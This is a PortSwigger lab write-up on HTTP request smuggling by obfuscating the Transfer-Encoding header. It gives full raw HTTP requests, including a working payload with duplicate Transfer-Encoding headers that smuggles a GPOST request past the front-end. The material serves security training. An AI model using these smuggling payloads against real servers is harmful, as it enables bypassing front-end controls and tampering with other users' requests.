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# HTTP Request Smuggling by Hiding the TE Header
HTTP Request Smuggling by Hiding the TE Header notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### HTTP Request Smuggling, Obfuscating the TE Header
This lab features a frontal server and an internal server. Both do not treat duplicated HTTP headers in the same way. The front server rejects any request whose method is not **GET** or **POST**.
The objective is to **give a smuggled request to the back-end server** so that **the following request** interpreted by the server uses the **GPOST** method.
**Note:**/ Even if the lab supports HTTP/2, the solution is based on techniques that only work in **HTTP/1**, which must be manually selected in Burp Repeater.
**Tip:**/ The length fields are delicate to adjust manually. The extension HTTP Request Smuggler of the BApp Store simplifies this work.
#### **Behavior Analysis: the Front-end Favours Content-Length**
Example of a request where the front-end chooses **CL**:
```http
POST / HTTP/1.1
Host: 0ab600cd04107fa3802667e700ac00e7.web-security-academy.net
Transfer-Encoding: chunked
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
3
abc
X
```
Here, the termination of the chunk (`X` instead of `0`) prevents correct interpretation.
#### **Smuggled Injection Attempt**
A request sent as it is not interpreted as intended:
```http
POST / HTTP/1.1
Host: 0ab600cd04107fa3802667e700ac00e7.web-security-academy.net
Transfer-Encoding: chunked
Connection: keep-alive
Transfer-Encoding: chunked
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
72
GPOST / HTTP/1.1
Host: 0ab600cd04107fa3802667e700ac00e7.web-security-academy.net
Content-Length: 20
test=test
0
```
The behaviour of the front-end prevents the desired interpretation here.
#### **Bypass: Hide the Main Transfer-Encoding**
To bypass the mechanism, place a **invalid** value in the first `Transfer-Encoding` header, so that:
* the **front-end** ignores it due to its incorrect value,
* but the **back-end** retains the `Transfer-Encoding: chunked` header valid.
Working example:
```http
Transfer-Encoding: chunked
Transfer-Encoding: wdwd
```
```http
POST / HTTP/1.1
Host: 0ab600cd04107fa3802667e700ac00e7.web-security-academy.net
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked
Transfer-Encoding: wdwd
Content-Type: application/x-www-form-urlencoded
72
GPOST / HTTP/1.1
Host: 0ab600cd04107fa3802667e700ac00e7.web-security-academy.net
Content-Length: 20
test=test
0
```
---
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